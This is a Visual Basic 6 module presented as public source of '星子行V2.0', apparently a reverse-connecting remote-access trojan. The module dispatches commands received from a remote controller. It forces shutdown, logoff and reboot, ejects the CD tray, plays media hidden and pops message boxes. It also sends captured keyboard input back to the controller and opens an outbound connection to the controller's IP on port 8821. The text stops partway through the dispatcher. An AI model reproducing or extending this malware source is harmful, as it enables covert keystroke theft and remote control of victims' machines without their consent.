contr.bas

星子行V2.0(源码)公开星子行V3.0以上版本,都是由星子行V1.0和星子行V2.0的核心结合而开发成的! 星子行V1.0是单反接正法,星子行V2.0是多反接法,星子行V3.0以上版本都是多反

Attribute VB_Name = "Contr"
Option Explicit

Private Declare Function GetTickCount Lib "kernel32" () As Long '取系统运行时间

Public sendinfo As String
'''''''''''''''''''''''''''''''''''''''''''''''''''
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _
        (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _
        (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, _
        ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _
        ByVal nCmdShow As Long) As Long

'定义窗口以及子窗口的类名
Const sTrayWindow = "Shell_TrayWnd"
Const sTrayNotify = "TrayNotifyWnd"
Const sStartButton = "Button"
Const sAppSwitchBar = "ReBarWindow32"
Const sAppSwitch = "MSTaskSwWClass"
Const sAppIcon = "ToolbarWindow32"
Const sTrayClock = "TrayClockWClass"
Const sDesktopIcon = "ShellDll_DefView"
Const sProgman = "Progman"

Const SW_SHOW = 5
Const SW_HIDE = 0

Dim wnd As Long
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''



Public Sub Control(Contnum As String)

    On Error Resume Next

    '获得任务栏的窗口句柄
    wnd = FindWindow(sTrayWindow, vbNullString)

Dim Contdat As String

Dim an2 As String
Dim an3 As String
Dim an4 As String

Dim a1 As Long '锋呜
Dim B1 As Long '锋呜
Static beep1 As String '锋呜
Static beep2 As String '锋呜
Static beep3 As String '锋呜

Dim hour As Integer
Dim minute As Integer
Dim second As Integer
Dim h11, m11, s11, a11 As String

Static Msgb1 As String
Static Msgb2 As String
Static Msgb3 As String

Static Msgb4 As String '执行对话框
Static Msgb5 As String '执行对话框

Contdat = left$(Contnum, 7)

Select Case Contdat

Case "Reqhost"

Unload Main

Main.Show

Case "Closeho"

Main.Scmnet2.Close
Main.Scmnet2.Listen

Main.Scmnet1.Close

Msgwin.Enmsgstr = "Exmsg"

Main.Scmtimer1.Enabled = True

Case "Sername"

gsename = right$(Contnum, Len(Contnum) - 7)
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''文件共享
Case "Fatsend"

 With Main.Scmnet3
     .Close
     .RemoteHost = RemIP ' IP2
     .RemotePort = "8821" ' port2
     .Connect
End With


''''''''''''''''''''''''''''''''''''''''''''''''''''


Case "CLOSECU" '关机

      Main.Scmnet1.SendData "Remocom" & "远程关机成功！" & "(" & Time$ & ")" & vbCrLf

      AdjustToken
      an2 = ExitWindowsEx(EWX_FORCE Or EWX_SHUTDOWN, 0)

Case "RESETLO" '注销

     Main.Scmnet1.SendData "Remocom" & "远程注销成功！" & "(" & Time$ & ")" & vbCrLf
      
      AdjustToken
      an3 = ExitWindowsEx(EWX_LOGIN, 0)
 
 Case "RESETCU" '重启

     Main.Scmnet1.SendData "Remocom" & "远程重启成功！" & "(" & Time$ & ")" & vbCrLf

     AdjustToken
     an4 = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)
     
     Case "OpenCDR"
     
     mciSendString "Set CDAudio Door Open Wait", 0&, 0&, 0&
     Main.Scmnet1.SendData "Remocom" & "远程弹出光驱成功！" & "(" & Time$ & ")" & vbCrLf
     
     Case "CloseCD"
     
     mciSendString "Set CDAudio Door Closed Wait", 0&, 0&, 0&
     Main.Scmnet1.SendData "Remocom" & "远程关闭光驱成功！" & "(" & Time$ & ")" & vbCrLf

Case "Winrunt"

hour = GetTickCount \ 1000 \ 60 \ 60
h11 = str(hour) & "小时"

minute = GetTickCount \ 1000 \ 60 - hour * 60
m11 = str(minute) & "分钟"

second = (GetTickCount - Val(h11) * 60 * 60 * 1000 - Val(m11) * 60 * 1000) \ 1000
s11 = str(second) & "秒钟"

a11 = h11 & m11 & s11

Main.Scmnet1.SendData "Winrunt" & a11

Case "Keybinf" '键盘信息

Main.Scmnet1.SendData "Keybinf" & Main.Keytxt.Text

Main.Keytxt.Text = ""

Case "Msgbox1"

Msgb1 = right$(Contnum, Len(Contnum) - 7)

Main.Scmnet1.SendData "Msgbox2"

Case "Msgbox2"

Msgb2 = right$(Contnum, Len(Contnum) - 7)

Main.Scmnet1.SendData "Msgbox3"

Case "Msgbox3"

Msgb3 = right$(Contnum, Len(Contnum) - 7)

MsgBox Msgb2, Msgb3, Msgb1

Case "Wmpplay" '播放共享
   
   Mediaplay.Wmp.URL = right$(Contnum, Len(Contnum) - 7)
   Mediaplay.Show
   Main.Scmnet1.SendData "Remocom" & "播放共享发送成功！" & "(" & Time$ & ")" & vbCrLf
    
    Case "Wmphide" '播放共享
    
   Mediaplay.Wmp.URL = right$(Contnum, Len(Contnum) - 7)
   Main.Scmnet1.SendData "Remocom" & "播放共享隐藏播放成功！" & "(" & Time$ & ")" & vbCrLf
    
    Case "Wmpstop" '播放共享
    
   Mediaplay.Wmp.Close
   Main.Scmnet1.SendData "Remocom" & "播放共享关闭成功！" & "(" & Time$ & ")" & vbCrLf

   Case "Msgwins" '发来信息
   
   sendinfo = right$(Contnum, Len(Contnum) - 7)

If Msgwin.Enmsgstr = "Strmsg" Then GoTo Msgemp '聊天室切换

If Msgwin.Reconstr = "Reinfo" Then

Msgwin.Box1.Text = Msgwin.Box1.Text & sendinfo

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''自动应答
If Msgwin.Aumsg = "Automsg" Then
          
          Main.Scmnet1.SendData "Msgwins" & "(" & Time$ & ")" & Main.Scmnet1.LocalHostName & ":" & vbCrLf & Msgwin.Msgtxt & vbCrLf & vbCrLf
          Msgwin.Box1.Text = Msgwin.Box1.Text & "(" & Time$ & ")" & Main.Scmnet1.LocalHostName & ":" & vbCrLf & Msgwin.Msgtxt & vbCrLf & vbCrLf
          
          Else
          
          End If
''''''''''''''''''''''''''''''''''''''''''''''''''''

'Msgwin.Reconstr = ""

MsgBox sendinfo, 64, "收到来信"

'Msgwin.Show

'Msgwin.Delt1

Else

'''''''''''''''''''''''''''''''''''''''''''''''显示通信信息
If Msgwin.Box0.Text = "" Then

Msgwin.Box0.Text = Msgwin.Box0.Text & "[" & "(" & Time$ & ")" & gsename & "]" & "与你建立VS通信..." & vbCrLf '显示通信方主机名

Else

Msgwin.Box0.Text = Msgwin.Box0.Text & "[" & "(" & Time$ & ")" & gsename & "]" & "来信！" & vbCrLf '显示通信方发来信息

End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Msgwin.Box1.Text = Msgwin.Box1.Text & sendinfo
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''自动应答
If Msgwin.Aumsg = "Automsg" Then
          
          Main.Scmnet1.SendData "Msgwins" & "(" & Time$ & ")" & Main.Scmnet1.LocalHostName & ":" & vbCrLf & Msgwin.Msgtxt & vbCrLf & vbCrLf
          Msgwin.Box1.Text = Msgwin.Box1.Text & "(" & Time$ & ")" & Main.Scmnet1.LocalHostName & ":" & vbCrLf & Msgwin.Msgtxt & vbCrLf & vbCrLf
          
          Else
          
          Msgwin.Show
          Msgwin.Refresh
          Msgwin.Delt1
          
          End If
''''''''''''''''''''''''''''''''''''''''''''''''''''
End If

Exit Sub

Msgemp:

Msgwin.Msg1 = Msgwin.Msg1 & sendinfo

Msgwin.Box0.Text = Msgwin.Box0.Text & "[" & "(" & Time$ & ")" & gsename & "]" & "来信！" & vbCrLf '显示通信方发来信息

sendinfo = ""

''''''''''''''''''''''''''''''''
Case "Messgif" '多人聊天室进入通知

Msgwin.Msg2 = Msgwin.Msg2 & right$(Contnum, Len(Contnum) - 7)

Msgwin.Box1.Text = Msgwin.Box1.Text & "(" & Time$ & ")" & Main.Scmnet1.LocalHostName & ":" & vbCrLf & Msgwin.Msgtxt & vbCrLf & vbCrLf

''''''''''''''''''''''''''''''''''''''''''''''''''''''
Case "Messgim" '多人聊天室进入通知

If Msgwin.Enmsgstr = "Strmsg" Then


Msgwin.Box1.Text = Msgwin.Box1.Text & right$(Contnum, Len(Contnum) - 7)

Else

Msgwin.Msg2 = Msgwin.Msg2 & right$(Contnum, Len(Contnum) - 7)

'''''''''''''''''''''''''''''''''''''''''''''
If Msgwin.Box0.Text = "" Then

Else

Msgwin.Box0.Text = Msgwin.Box0.Text & "(" & Time$ & ")" & "聊天室有人发言！" & vbCrLf '显示通信方发来信息

End If

'''''''''''''''''''''''''''''''''''''''''''''''''''''
End If

'''''''''''''''''''''''''''''''锋呜